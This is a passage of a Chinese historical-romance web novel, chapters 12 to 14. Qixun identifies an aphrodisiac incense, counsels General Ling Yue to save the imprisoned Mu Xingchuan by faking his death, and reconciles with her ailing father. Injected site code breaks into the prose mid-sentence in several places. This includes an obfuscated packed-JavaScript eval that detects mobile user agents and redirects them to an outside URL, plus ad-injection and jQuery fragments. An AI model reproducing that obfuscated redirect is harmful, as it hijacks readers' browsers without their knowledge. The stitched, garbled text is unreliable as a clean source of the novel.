“这你就放心吧,”池月笑着拍了拍她的手,“钱妈妈已跟他暗示好几次,咱们这楼有宫里的人撑腰,杨景达还不敢明目张胆做什么……” 二人正说着,忽然响起叩门声,如葵开了门,便见浓妆艳抹的钱妈妈走了进来,甩着手中帕子夸张道:“哎哟,反倒让大将军夫人等奴家了,真是罪过呀!” 栖循被她那样子逗得笑了笑:“好了,钱妈妈,你就别打趣我了,快过来坐吧,我是特地来找你的。” “不就是那崇宁公主的事么?还有什么?”钱妈妈说着在她对面坐下来。 栖循从宽袖中取一块叠起的绣帕,打开了,上面躺着几丝乌发,她递到钱妈妈面前:“你辨一辨,这是不是犀灵香的味道?” “犀灵香?”池月一听便惊讶道。 外边少有人听过此香,她却是知道这东西的。犀灵香味道与沉香相似,实际却是烈性媚药,因犀灵花本就罕见,合香的各味药引和用量更是极难把握,所以自创造出此药香的南疆怪医死后,此香就几乎绝迹了,唯有桑家父女还能配制出来。 而此香虽燃烧时几乎与沉香无异,但却会在发丝上附着多日,且留下的是犀灵花本身的浅香,而非沉香。 钱妈妈听了也皱了皱眉,立刻将帕子接过去放到鼻下,辨了好一阵,抬眼道: “应当就是犀灵香没跑了。可我这里的一点犀兰香早就用完了,桑神医也没制新的,夫人这是从哪儿来的?这头发又是哪个的?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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当时她怀疑凌越中的是犀灵香后,心中一阵膈应,以为他把自己当作了静慈庵里的人,所以第二次时,她特意问了凌越好几遍自己是谁,可凌越每次都能清楚地说出她的名,他后来甚至都被她一次次的确认逗笑了,索性自觉地弄一阵就换着花样唤她一声……至于眼神,对上的时候总觉得浓烈又专注,即使最后,也像还在克制着? “眼神应当也挺清醒的。”她最后道。 钱妈妈意味深长地“哦”了一声,又问:“那这位心志极强之人,可也是洁身自好、且身体尤为强健之人?” 这话立刻听得栖循心中一虚,想起和凌越圆房后,她曾请教过钱妈妈一些事,要不然还不知道凌越洁身自好到那程度。 “我只知他心志强,其他的我怎会知道?”她装着镇定自若地说完,立马站了起来,“我得尽快走了。” “这就要走了?来,我送送你,有什么想问的尽管再问,钱妈妈我知无不言!”钱妈妈立时也跟着站了起来挽住她,脸上那洞穿一切的笑,看得一旁的池月都明白了什么,亦掩嘴笑了。 栖循:…… 虽是被钱妈妈和池月“取笑”了一回,但到底不再膈应了,栖循的心情还是好了许多。 半炷香后,她回到了香粉铺后门,下了那简朴的马车,正要往铺内走,却见如棠拿着一信件急匆匆奔到了近前,压低声音道: “夫人,又出事了!刚收到消息,穆将军突然遭杨相公弹劾通敌叛国,半个时辰前被关进了刑部大牢,大将军也已听说此事,正从西山赶回府里!” “什么?穆星川通敌叛国?”栖循立时一怔。 京郊那夜,淡薄月光之下,沉默寡言的青年手执长槊,和凌越一起冲入敌阵的那幕,一下浮现在眼前。 秀眉微微蹙起,她接了如棠手中的信,快步往铺内行去:“走,我们也回府!” 12.献计 栖循从香粉铺正门出来,候在外面的长右还不知穆星川的事,迎上来问:“夫人,可是去福隆斋?” “不去了,”栖循也不多说,直接提步上了马车,“回府,路上快些。” 坐进车里后,她便打开了那信件,仔细了解事情的来龙去脉。 原来被杨珪抓住发难的事情,是十个月前凌越在北境的最后一战。 当时,突厥人以十五万大军再次叩关,而凌越手中只有区区八万人,因此前期一直守城避战,只在夜间派小股部队偷袭骚扰,却也始终没让突厥人讨到大便宜。双方对峙不下,直至十一月底,凌越判断时机已到,定下计策,准备一战定胜负,命穆星川分兵五千人埋伏在突厥人回撤的必经之路上。 后来,凌越果然率主力大破突厥,突厥人损失惨重,仓惶撤退时,再遭穆星川伏击重创,又折损了上万人马才逃回草原深处。 这本来是大功一件,穆星川亦因此战获封定远将军,可杨珪现在却突然反口,言穆星川当时本可继续追击,将突厥人的主力彻底消灭,大殷从此五十年内不必担心北境之患,而穆星川却偏偏没有追击,这正是因他早就和突厥人有勾连,故意放走了突厥残军。 如此一来,边患不绝,穆星川便可一直靠此立功封赏,还可继续跟朝廷要人要钱要粮,实乃养敌自重。 简直是信口雌黄! 栖循看得心头火起,谁都知道那一仗有多难打,那种敌强我弱,双方差距极大的情况下,凌越谋略大胆,险种取胜已是奇迹了。要知道当时所谓的突厥残军仍有七八万人,穆星川的五千人能伏击成功是因出其不意,若继续深入追击,必会被突厥反打,全军覆没。 况且这些年,大殷各地叛乱灾荒愈发频繁,国力衰微,民不聊生,说什么彻底消灭突厥主力本就是笑话,若没有凌越这般天才统帅,没有穆星川这样的骁勇战将,只怕突厥人早就踏平北境,长驱直入打到都城之下了,哪还有高贽杨珪这对没有良心的昏君奸臣,躲在京城里荒淫奢靡的好日子? 如今倒好,这二人竟用这般杀人还诛心的罪名,陷害一个为他们那样拼杀过的年轻将领! 栖循深吸口气,压下心里的怒气,又将信看了两遍,思虑一阵后,马车停在了将军府门前。 等下车进了府门,却得知凌越已先一步回府,正在书房和人议事,暂不能见她。 她微一细想,猜到除了凌越的其他几个副将,京中亲近凌越的势力,如上次赏菊宴的周刘两家大约都暗中来商议此事了。 “夫人,那咱们先回院子里么?”如棠小声问道。 “嗯,回吧。”栖循应了声,此时她心中已经平静下来,不由暗暗自嘲,还远不到凌越有事先找自己商量的时候,她这是急什么呢? 回了自己院子后,她在花厅的软塌上坐下了,端着茶盏开始细细思量。 如棠在旁边站了一会儿,忍不住问:“夫人,陛下和杨相公是暂时害不成大将军,就想先剪了大将军的羽翼么?” “剪羽翼只是表面的,这事没那么简单。”栖循给两个侍女解释道,“杨珪这可是步好棋,人人都知穆星川是凌大将军最得力的副将,如今他有了通敌叛国之嫌,若凌越上疏为他分辩或求情,高贽和杨珪便可让御史把火引向凌越这个主帅;若凌越不为穆星川分辩求情,那么必定寒了各地将士尤其是北军将士的心,会大大损害大将军的威信。” “原来是这样,杨相公真是老奸巨猾!”如葵听明白了,气愤不已。 “还不止如此,”栖循眉尖蹙着,继续道,“杨珪是故意选的穆星川下手。因凌越其他的副将背后多少都有些家世或归顺势力,唯穆星川出身贫寒,被凌越看中时不过是一普通士卒,全靠一次次不要命的先登陷阵挣来的将军之位。” “杨相公拿他开刀,最能离间凌越身边的势力,那些和穆星川有同袍过命之情的武将必然要求救他,但京中支持凌越的世家势力,如信国公和平原侯,却会觉得没必要为这样一个毫无根基的孤将引火烧身,所以必会劝凌越不可因小失大,免得在时机到来前陷入麻烦。” 两个侍女没想到这里还藏了层恶意,二人受自家夫人影响,向来敬佩那些自苦寒中磨砺出来的人,也敬佩保家卫民的人,因此对那个寡言少语的青年颇有敬意,这时更加同情了,如棠不由又问: “那可怎么办?大将军会为穆将军上疏分辩吗?夫人有法子帮大将军吗?” 栖循莹白的指尖在案上一下下轻点着,眸底浮光凝在一处,静了一会儿才答:“会不会上疏,等晚些时候就知道了,至于办法,即使有,只怕……” 她没有说下去,如棠如葵忧心地互觑一眼,都明白了,穆星川恐是不死也要去半条命。 …… 凌越书房这一场议事,直到了日暮时分才议完。 栖循听到禀报时便知,事情果如自己所料。她又等了半个时辰,天都已完全黑透了,才理了理衣裙,往书房行去。 将军府太大,从后宅到外书房有很长一段路,栖循揣摩着凌越此刻的心境,走得不快不慢。 忽然,在前头打着灯笼的如葵停下来,轻轻碰了碰她的衣角,栖循回了神,一抬眼,才发现已经到了,而凌越不在书房内,他正站在书房前的院子里。 孤月高悬,清明皎洁的月华笼在负手而立的英挺男子身上,在地面映下了一道颀长的侧影。 栖循无声地对如葵做了个手势,如葵会意退到了路边等着,她独自往前面的院子里走去。 院子里的人显然正在沉思,直到栖循跨进去,在院门边静静站住了,他才倏地转身望过来。 凌越眸中的锐色在看清纤秀的身影时,慢慢褪了下去,一时却也没有说话。 李府赏菊宴后,他们便没再见过,他自知那日没克制住失了轻重,让人受了些罪,其实理应去看一看她,否则未免显得过于无情,但这个女子与他以往遇到过的都不同,他暂时看不透,也还没想好要如何处理与她的关系,所以前两日最终还是没去,今日又发生了穆三的事,自然更是无心去想她。 可此时,叶栖循出现在这里,便让他突然记起了那日后来,她对局势的一番见解。 两人在月光下对视了一会儿,栖循先动了,她朝他慢慢走近几步,停住了,问道:“大将军今日下午议了这么久的事,可是因周刘两位世子与诸位将军意见不同,争执不下?” “如夫人所料,”凌越对她猜到议事的情况并不意外,但他确实想听听她会怎么说,“夫人既然特意过来了,不妨也说说,你认为我该不该救穆三,该不该为穆三上疏分辩这莫须有的罪名呢?” “我怎么认为并不重要,”栖循却道,语调轻缓,“大将军已经决定上疏了,不是吗?” 凌越心中微动,狭眸看着她:“你如此确定?” 栖循轻笑了笑:“我对大将军的了解,比大将军以为的,大概还是要多一些。” 她微微停顿一下,才继续道,“我过来,其实是想问问大将军,大将军冒着风险为穆将军分辩冤罪也好,或者联合其他大臣上疏也好,真能救得了他吗?” ——这正是凌越方才在沉思的问题。 他确实已经决定,或者说他从一开始就决定了必须救穆三,下午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13769922|143538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的议事更多是为了弥合那两方的分歧和立场罢了。 但决定要做和能不能做成是两回事,他的确有预感,即使自己愿意冒险,也愿意以手中筹码利益和高贽交换,还是很难保住穆三。 “夫人这么问又是何意?”他沉默片刻后,不答反问道。 栖循抿抿唇,在心里将想好的话过了一遍,才又抬眼望向凌越,缓缓道来:“过去几年,大将军一直在外领兵,对京城的情况并没有那么了解,但想必周刘两位世子今日已同大将军详细说明过,以陛下和杨相公之残忍无耻和不择手段,一旦要合力置一个根基不够的寒门臣子于死地,是绝不会失手的,也从没有失手过,穆将军并不会是例外。” “也即是说,无论大将军你做多少事多少努力,他都绝没有脱罪的可能,甚至只会让他在狱中受到更多非人的酷刑。” 凌越剑眉慢慢蹙了起来,声音亦沉了:“所以呢?” “所以,大将军面上还是要上疏为穆将军分辩几句,因为相比于被牵连的风险,大将军在大殷将士们心中的威信才是最重要的。可对于穆将军本人来说,既然无论如何都脱不了罪,又何必还要白白受那一番酷刑呢?” 栖循看着凌越有些不可置信的目光,顿了顿,才继续道,“只是穆将军铁骨铮铮,必然宁死不屈,这世上恐怕也只有一个人,能让他放下这身骨气。” 这话说完,凌越的目光已从难以置信变成了彻底的冷寒之色:“你不仅让我假意为穆三分辩,还要我去劝穆三,让他承认自己通敌叛国?” “一时气节有那般重要么?”栖循却迎着他目中寒色,并未退缩,“将军可知,刑部地牢中的七十二般手段比你军中那些残忍多少?炮烙镬烹,贯鼻膑骨,连笞杖棍鞭都能叫人生不如死。” “死牢里的犯人被打得鼻青脸肿血肉模糊,被一鞭子甩得面目难辨,都是常有的事。” 她说着忽然又朝凌越走近了半步,敛了月色和灯色的眸子定定望着他,“大将军忍心看穆将军背着罪名,死时连张完整的脸皮都没有吗?” ——从生不如死的酷刑突然到脸皮,这最后两句话实在奇怪,这双杏眸也透着奇异之色。 凌越与她隔着两步对视着,微怔了一瞬,随即,脸上现出一丝恍然。 栖循便知他已听懂了,只是这对他和穆星川来说,都是一个极不容易的选择。 她退回一步,又道:“陛下和杨相公急于毁人,怕是不等朝堂审辩,今夜就会对穆将军动刑,还望大将军尽快斟酌,晚了就真来不及了。” 说完,她垂下长睫,微福了一福,转身离开了书房,将时间留给凌越自己。 …… . 这夜将唯一能想到的救人办法告诉凌越后,栖循睡得还算安心。 次日一早,得知凌越已去上朝后,她便准备在府中耐心等着,等着看凌越做出决定。 却不料,刚用完早食,如葵拿了一封家信进来。 待她看完信上短短几行字,如葵问:“夫人,堂少爷信中说什么了?” 栖循慢慢折起了信笺:“父亲生病了,堂哥问我能否回家一趟。” 如棠如葵一听,对视了一眼,虽说有些不敬,但两人心里都忍不住觉得,老爷病得可真不是时候。 如棠:“穆将军的事还不知会如何,夫人打算回去吗?” 栖循兀自思索了一会儿,忽而站起身:“回,今日就回,如棠,你这便去知会钟管家一声,就说我要归宁侍疾三日。” ——回去一趟正好,若凌越决定听从自己的意见,回叶府倒是更方便做后续的安排。 13.少女往事 如棠如葵都是做事麻利的,两炷香后,二人便来禀报,归宁的准备都做好了,马车也套好了。 栖循应了一声,将手中的两张纸条在香炉里引燃,这是她刚刚收到的消息,一是刑部大狱的眼线送来的,言高贽和杨珪果然昨夜就让人对穆星川动刑了,另一个是钱妈妈送来的,有姑娘从依附杨珪的官员口中探听到,杨珪还找了个突厥人来作证污蔑穆星川。 都算是栖循意料中的事,这两个消息大约过一会儿也会传到凌越那里了,但凌越要暗中见穆星川,最快也得等到今天夜里,白□□堂上再怎么较量,事情都不会有什么太大变化。 待两张纸都燃尽了,她便起身出了门。 依旧是长右护卫,马车辚辚驶出了安兴坊。虽然同在京城,但将军府在皇城东边,而叶府正好在皇城西边,所以颇有些路程,半个多时辰后,马车才缓缓停下了。 长右在车外恭敬道:“夫人,咱们到了。” 如葵掀起车帘,栖循提着裙子下了车,刚落到地面,便听得两声清脆响亮的“阿姊!”,紧跟着,两个长得一模一样冰雪可爱的小小身影,就飞快地冲过来,其中梳双丫髻的小姑娘唤着“阿姊”,直接一头扎进了她怀里。 另一个小男孩却是急急收住了脚步,然后一副小大人的样子,规规矩矩地行了个礼后,才抬起脸脆声道:“阿姊,你回来啦。” 这便是她的双胞胎弟妹叶翎和叶灵了,栖循被叶灵撞得后退了半步,笑了起来,摸了摸她的头,对两人道:“回来了,你们两个怎么好似又长高了?” “没错,这两个小家伙最近确实长得快,而且还都越来越皮了。”一道清朗的男子声音含笑接话道。 栖循抬眼望去,便见三堂哥叶少珩正领着一家子妇孺站在府门前迎接自己,几个堂嫂表嫂和两位舅母见她看过去了,都笑着携身旁的孩子们给她行礼。 栖循忙牵着两个弟妹的手上前,叫诸人不必多礼。 一家人的关系其实颇为亲近,招呼过后,众人便拥着她往府内走去。到了前厅后,栖循让如棠如葵带孩子们去选她带回来的礼物了,自己在上首坐下,边喝茶边听叶少珩和两个舅母说起她父亲的病和府内的一些近况。 府内并没太大变化,主要是听说她上回在京郊差点遇险后,大家心里都有些不安,他父亲亦是因此生的病,一开始只是食欲不振,到前两天整个人便虚得下不来床了。 “大伯这病吧,就是心病,大夫也没什么办法,”叶少珩无奈道,“所以我想着心病还得心药医,就给循儿你送了信,你可别嫌堂哥我多事。” 栖循笑道:“哪是多事?我还得谢谢堂哥呢,要不是你知会我,以我爹那性子,定是又要怕给我添麻烦,什么都不告诉我。” “知父莫若女,”旁边大舅母也笑了,“还是循儿最了解你父亲,你便先去看他吧,我和你二舅母正好去东厨做些江南果子,等你陪父亲说完话,也差不多就能用午膳了。” “好,听舅母的,”栖循笑着应了,站起身来,“这北边厨子做的江南美食到底比不上两位舅母亲自做的精细,今日我有口福了。” 这般说定,几个嫂子和两位舅母便一起去东厨了,叶少珩陪着栖循往正房走去,他一直关注着朝局,这时便问起了穆星川的事。 栖循想了想道:“这事几句话也说不清,等午后,我再和堂哥细说,顺便理一理生意上的事。” “行,那便等午后再说。”叶少珩干脆地应了声,送她到正房门口后,先行离开了。 正房里,叶清淮早就听见外面的说话声,不等栖循叩门,已吩咐家仆为她开了门。 栖循跨进门,便见一个清癯儒雅的中年男子披衣靠在床头,本来正眼巴巴地望着门口,一见到自己,脸上立刻露了点笑,可又马上带上了些愧疚的神色道:“循儿,你回来了。” “嗯,刚在前头和舅母他们说了会儿话,”栖循笑着走到床边,在婢子搬来的绣墩上坐下后,仔细看了看叶清淮,“爹爹今日可觉得好些了?” “好些了好些了,”叶清淮说着,脸上的愧色却更深,“爹爹真是没用,帮不到你,倒是害得你又忧心,凌将军不会对你突然回来不满吧?” 栖循失笑:“当然不会,爹爹把他想成什么人了?你忘了上次我在信里说的,凌越虽然位高权重,但还是讲道理的,对女儿也挺好的,不必多担心。” 可叶清淮听了这话,脸上却并没有舒展一些的意思,又絮絮说道:“你信上说的爹爹都仔细看了,也明白你的意思了,可说到底,还是因为爹爹这个叶家家主没用,才要你一个女子为了保全家族,牺牲了姻缘。哎,要是当初嫁给言儿,哪用像现在这样提心吊胆呢。” 栖循哑然一瞬,上次是为了叫父亲不要再以为她是被迫嫁给凌越才那么说的,没想到他竟又往另一个方向自责了,她也有些无奈:“爹爹,这和有用没用没关系,别看那些三公九卿现在权势煊赫的,等哪天京城乱了,也一样泥菩萨过河,谁都保不住。” “循儿,你不用安慰我,”叶清淮却是越说越低落,垂下头道,“我知道你心里一直都是怨爹爹没用的,要不然当初也不会一心一意跟你外祖离开京城了。只是你现在长大了,懂得顾着爹爹的颜面了,不会再像小时候那样什么都说出来了。” “……”栖循听到这里,轻叹口气,明白不彻底说清楚,是没法解开她父亲的心结了。 也怪她自己,以前确实伤过父亲的心。 这事得追溯到好早以前。当初,父亲对母亲一见倾心,却碍于母亲商贾之女的身份,闹到以死相逼,才让祖父同意了亲事。 可母亲虽然嫁进来了,却一直被祖父冷眼相待,甚至各种刁难找茬,父亲迂腐于孝道,经常只能眼睁睁地看着母亲受委屈;再加上,叶家本已落魄,父亲又在官场上混得一塌糊涂,导致母亲参加各种宴饮雅集时,也一直被其他的夫人小姐冷嘲热讽。 栖循从小将这些看在眼里,看母亲里外被欺负,自己也被其他小孩子欺负嘲笑,所以对父亲颇有怨言,以致于后来,母亲生下双胞胎不久就撒手人寰的事,也被她算到父亲头上,觉得是父亲没用,害母亲一直受委屈,所以才抑郁而终的。 现在想来,那种想法是很可笑的,其实母亲的身体本来就不是很好,怀双胞胎时又接连收到母家的噩耗,受了很大打击,这才导致英年早逝;而且她和父亲在一起的时候,总是笑得很甜很开心,祖父和其他那些人的刁难嘲讽,她大概也没有那么在意。 但那时的栖循才十一岁,她只觉得母亲过世了,很伤心很难过,本能地就把所有负面的情绪都发泄到了父亲身上。 父亲本就遭受丧妻之痛,又听女儿说了许多难听的话,半年后,女儿还义无反顾地离开了京城,大约是就此留下了这么深的心结。 栖循想到这儿,声音又柔和了一些:“爹爹,女儿少时不懂事,确实错怪过你,可我那时离开京城,却绝不是因为你的关系。”她看到父亲又抬起头来了,便继续道,“爹爹可还记得,我们家是何时变成现在这般男丁凋零的?舅母和表嫂们又是何时来的我们府里?” 叶清淮被问得怔了怔,回忆了一下说:“大约都是你母亲过世前两三年的事。” “是,”栖循接过话,“兴平三年,大伯赴宣州司户参军任上,刚到任半年即遇兵变,死于乱军之中;当年年底,大堂哥从凉州回京为大伯守丧,却在半路死于突厥人之手;兴平四年上,我二舅带着三表哥去蜀地去处理当地的生意问题,不幸中途被绿林贼所杀;兴平四年下,二表哥因一笔大生意前往东冶,被东冶一伙马匪绑架,交了赎金仍被杀害;兴平五年,江南的老祁王突然中风,谢家三子一女争夺兵权,祸及外祖家,大舅和大表哥四表哥五表哥等男丁全被牵连杀害,只有外祖因正好前往京城看望母亲躲过一劫,随后大舅母等女眷便被外祖父想法接到了我们府中。” “确实如此。”叶清淮点点头,既惊讶于她竟将时间记得这么清楚,又有些搞不明白她为何突然提起这些。 栖循继续道:“女儿当时听说这些事时,除了伤心,还觉得很奇怪,大伯他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 们虽然官不大,可也有兵卒守卫,为何一出京城就都这么快丢了命呢?还有舅舅和那么多表哥们,明明出行都带会带许多护卫,家中也养了许多护卫,为何却全都说没就没了?” “后来我问了外祖,外祖和我说,那是因为世道已经乱了,人不是人,人如草芥,我们家死的这点人还不算什么,外头处处都是绝了人家的村子和绝了户的人家。” “可我听了,觉得更奇怪了,明明京城里歌舞升平,一片繁华安定,世道怎么会是乱的呢?” 直到听到这里,叶清淮才似乎明白了一些,有些发愣地问女儿:“所以,你想跟着你外祖父去外面看看到底是怎么回事?” 栖循笑了笑:“是,我求了外祖很久,那时我绝食并不是为了和爹爹你赌气,而是为了和外祖犟脾气。” “外祖说他已经失去了所有的儿女,所以他不怕死了,他问我怕不怕,我说怕,可是我更怕将来有一天死得像个糊涂鬼。” 后来,外祖叹息着说,她比舅舅和表哥们都更像他这个倔老头,终是带着她上了路。 从十二岁到十七岁,她跟着外祖从北到南,从东向西,走了五年,走遍了整个大殷,看到了豪强恶官如何压榨尽百姓手里最后一点余粮,再逼良为娼,看到被强征的民夫们不堪重负,死者相枕,臭秽盈路,看到战乱过后,十室九空,无一男丁,白发老妪独守一镇,甚至亲眼看到了夫食妻母食子…… 她和外祖亦曾多次遇到危险,甚至有两次几乎也要丢掉性命,幸亏外祖饱经世故,应对得当,她亦曾在路途中染上疫病,几乎死去,幸亏遇到桑家父女…… 但这些没有必要让父亲知道,栖循望着叶清淮,只道:“爹爹,你修史这么多年,那些王朝末年的惨相一定读过很多,也写过很多了。” “可女儿,亲眼看到了。” 叶清淮看着她,一时被震地说不出话来。 “所以,”栖循已将话头拉回了原处,“我离开京城不是怨恨父亲,而是想去看看真相,我嫁给凌越,也不只是为了保护叶家和外祖家,而是因为我和外祖都认为,凌越也许就是下一个终结乱世的天命所在,而外祖交给我的一切,以及我和外祖在外面这几年一起做的那些事,可以帮他更快地结束这一切,更快地还黎民百姓一个海晏河清的治世。” 其实,江南的老祁王死后,她和外祖还考虑过接任的谢云昭,那也是个可定天下之人,但谢家内部太过复杂,谢云昭要定天下所需的时间必定比凌越长上许多,而更多时间也意味死更多的人。 不过这点,也没必要和父亲多说就是了。 叶清淮好一会儿才从震惊中缓过神,喃喃着:“是爹爹小看了循儿,爹爹这些年的史真是白修了,若循儿是男子身,定能封侯拜相……” 栖循又笑了,淡然道:“封侯拜相之类不过虚名,爹爹,女子亦可安天下。” 说完,她又道,“所以爹爹不要再因为我的事而自责了,我也不觉得爹爹比那些尚书宰相没用,于大,爹爹修近千年之史,利在万代,于小,爹爹在母亲过世我也不在家中时,把弟弟妹妹照顾得很好,大小公私皆顾,以后,万无需再妄自菲薄。” “循儿说的是……”叶清淮此时听她一番话,眼中竟落下泪来,连忙侧身拭了拭,“爹爹以后再不说那些话了,你母亲肯定要笑话我,竟然不知道循儿有这般志向,她一定会为循儿骄傲的……” 栖循看他如此,便知这回心结是彻底解开了,心里刚松了口气,却听叶清淮突然又严肃又小声地道,“若是凌小子将来真能成事,那我们循儿就是皇后,你所做的事,爹爹定然也要在史书上好好记一笔!” 栖循眨了眨眼,没想到她爹这时倒是脑子转得挺快,可问题是,她其实并不把凌越当真正的夫君看待,他们可以有夫妻之实,却并不会有夫妻之情。 她也根本没想过做什么皇后,皇帝都是三宫六院的,而她 ——绝不和其他女人分享自己的郎君。 不过,这事还是先别说吧,免得又给她爹添了新的心病…… 14.决断 父亲心结解开后,栖循又陪他聊了一阵,等到从正房出来,果然东厨那边也正准备好了午膳。 家里孩子多,吃饭时便尤为热闹,叶翎和叶灵一人坐在栖循一边,争着给她夹菜,舅母堂嫂表嫂们笑着打趣,二堂哥叶少珩和二堂嫂恩爱斗嘴…… 栖循有种久违了的感觉,脸上也一直带着笑意,毕竟成亲后,她用膳时只有如棠和如葵陪着,总是冷清了些。 饭后,栖循又和众人坐着喝了会儿茶,便跟叶少珩一道去书房谈正事。 栖循手中的生意,外地的基本都让赵贵总领着,这是外祖生前就为她培养的人,而京城里的,除了一家酒楼和两家妓院她亲自打理着,其他的都交给了叶少珩。 二人进了书房后,神色都淡下来,叶少珩先开口,还是问穆星川的事:“循儿,穆将军的案子究竟还有没有转圜的余地?” “有,但是不好办,先坐下说。”栖循指了指身旁的圈椅道。她是知道自己这位堂哥的,虽然总是俊爽开朗的样子,从不在一家子妇孺面前谈什么沉重的事,但心里其实对时局对朝廷积累了许多失望愤懑,尤其看不得忠良之士被残害,要不然当初也不会抛了好不容易求来的官不做,宁愿帮她打理生意了。 她自己也在圈椅上坐了,才继续说:“堂哥应该也看得出来,高贽和杨珪最怕的就是北军会反,通敌叛国这样的罪名,他们绝不敢引到凌越身上,所以我猜测,他们用这招就是想逼凌越为穆星川分辩求情,然后等穆星川的罪名一坐死,就让御史给凌越找麻烦,定个失察袒护奸细之类的罪责,最后,借此契机收回西山禁军的兵权,才是他们真正的目的。” “西山禁军的兵权?”叶少珩明白了过来,皱眉想了想道,“凌越在京城唯一能依靠的就是西山那一万禁军,如此一来,高杨二人看似没直接把他怎么样,但未来一旦有了机会,要动他就容易多了。” 栖循点点头,信国公和平原侯也是看到了这一点,所以才不想让凌越为穆星川上疏。 “今日早朝,凌越已经为穆星川上疏分辩了,因此此计现在的关键就是要坐实穆星川的罪名,但这却反而给穆星川留了一线生机。”说着,她便将告诉凌越的办法与叶少珩详细讲了一遍。 叶少珩听完,眼睛一亮:“好一招金蝉脱壳!你的意思是,为了让穆星川认罪,高贽和杨珪一开始就会对他用最重的刑,最多三天,穆星川就彻底废了,不过吊着最后一口气继续受审,所以不如让他尽早认了罪,先保住命重要。” “而只要穆星川认了罪,他对高贽和杨珪来说就没什么价值了,到时,只需买通动刑的人用鞭子或其他刑具毁了穆星川的容,再从死牢里找个身形相似的人一样毁了面后,移花接木,弄个畏罪自杀的样子,最后,凌越想办法把穆星川从刑部地牢接出来就行。” 他略有些激动地说完,却立刻意识到什么,眉头又紧皱起来,“但办法虽有,只怕穆星川铮铮傲骨,宁死也不会认罪,毕竟被诬至死和自己招认是完全不同的,所以循儿刚刚才说不好办?” 栖循“嗯”了一声,目光凝在墙上那副苍劲草书上:“唯有凌越一人可能劝动穆星川,就看他……愿不愿意这么做了。” 那天她问凌越,“一时气节有那般重要么?” 怎么不重要呢? 是气所磅礴,凛冽万古存。当其贯日月,生死安足论。 以凌越之谋略,这一计金蝉脱壳未必有多难想到,只是他太清楚这份骨气和气节对穆星川这样的武将来说意味着什么,自然就不会往这上面想,如今,却要他亲口去劝人招认…… “除此之外,”栖循收回了视线,又说道,“还得看凌越信不信我,若他真的这么做了,那便说明,他对我至少有七八分信任了。” 叶少珩听到这句,不知怎么,忽然想起了妹妹大婚后回门时的景象,虽说凌越是因赐婚不得不娶,但那天他在旁边,看二人半生不熟地并肩站在一起,却真心觉得佳偶天成,一对璧人。 “堂哥觉得,凌越会听循儿的,”叶少珩莫名有这预感,随即却又叹了口气,“不过就算穆将军被救下来,只怕也不过将将保住命,难以如常人一般生活了。” 栖循这时忽而弯了弯唇角:“这却不一定,桑羽马上要入京了。” “桑小娘子要入京?”叶少珩一阵惊喜。 “本是因其他事请她来一趟的,如今倒是巧了,且她正好就在冀州附近,大约明日就能入城。”栖循笑道,她也是午饭前收到消息,方知桑羽离京城不远。 桑羽一来,穆星川除了能保住命之外,兴许就能如普通人那样活着了,只不过,那夜京郊月下,那般跨马执槊的骁勇青年,大概是再不会有了。 但无论如何,都算是个好消息,就只看凌越如何决断了。 兄妹俩结束了这个话题,又谈了些生意上的事,以及各处眼线的布置情况,谈得差不多时,外头的天色已经有些暗了。 叶少珩起身去点案上的烛台,看着烛火燃起时,他突然问了一句:“循儿,你说高家这天下还能苟延残喘到几时?” 栖循玉白的脸颊映了烛光,愈显明艳动人,顿了一会儿,她才淡声道:“或许还有十年二十年,也或许只剩五年三年,谁又能知道呢?” …… . 这日夜里,栖循沐浴后,并未如往常般就寝,而是取了卷书,靠在软塌上随手翻看着,等消息。 执卷至子时三刻,等到了第一个消息——穆星川又被用了一天的刑,腿骨臂骨皆已碎裂,肋骨断了十三根,十指皆拶,另有鞭伤铁烙等无数,人已昏迷十数次。 丑时正,等到第二个消息——凌越去狱中见了穆星川,交谈约一炷香时间,但说了什么,无人知晓。 寅时末,等到第三个消息——数个不明身份之人入大将军府书房密谈,半个时辰后从侧门离开,凌越回尧光阁休息。 最后一个消息送来时,窗外的天色已泛了青白,栖循看完,终于觉得心定了一大半,亦在软榻上沉沉睡了过去。 翌日,睡到辰时末方醒,醒了没多久,便又收到消息——穆星川招认了通敌叛国之罪。 栖循想起那天夜里,凌越墨眸中的冷寒之色,轻叹了口气,片刻之后,却又牵唇浅浅笑了。 ——至今为止,凌越还真是,从不会让她失望。 因穆星川之事最艰难的一环已落定,只等凌越的最后一步,栖循的心神放松了许多,归家的这第二日,几乎没处理什么正事,一整天都陪着叶翎叶灵兄妹及其他家人。 直到天色再次将暮时,家仆来报——小桑大夫到了。 栖循听了,脸上笑意一盛,立刻站起身,往前院去迎接桑羽。 刚出了花厅,走过穿堂,便见垂花门那头,婢子正引着一个小娘子迎面行来。 那小娘子年约双十,穿一身雪青衫裙,手边提了只小木箱,发髻上单一支素银钗,一张清秀的鹅蛋脸不像京中贵女那般白皙,却透着股健康明亮之色。 “循儿!”桑羽一双圆圆的杏眼望见了栖循,立时高兴地唤了一声。 栖循忙快走几步到了垂花门边,接了她手里的小药箱,莞尔道:“我还想去外面迎客,倒没料你已是熟门熟路了。” 桑羽难得有些不好意思,清了清嗓子说:“你知道我的,最不会那些繁琐的礼节啦,又是来你家,我就想着别那么讲究了。” 话落,两人对视一眼,都扑哧笑出声来。 栖循确实是知道她这性子的,她和桑羽相交算起来都快五年了。 当年她坚持要和外祖出门游历行商,结果第二年就在汝阳一带染上了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 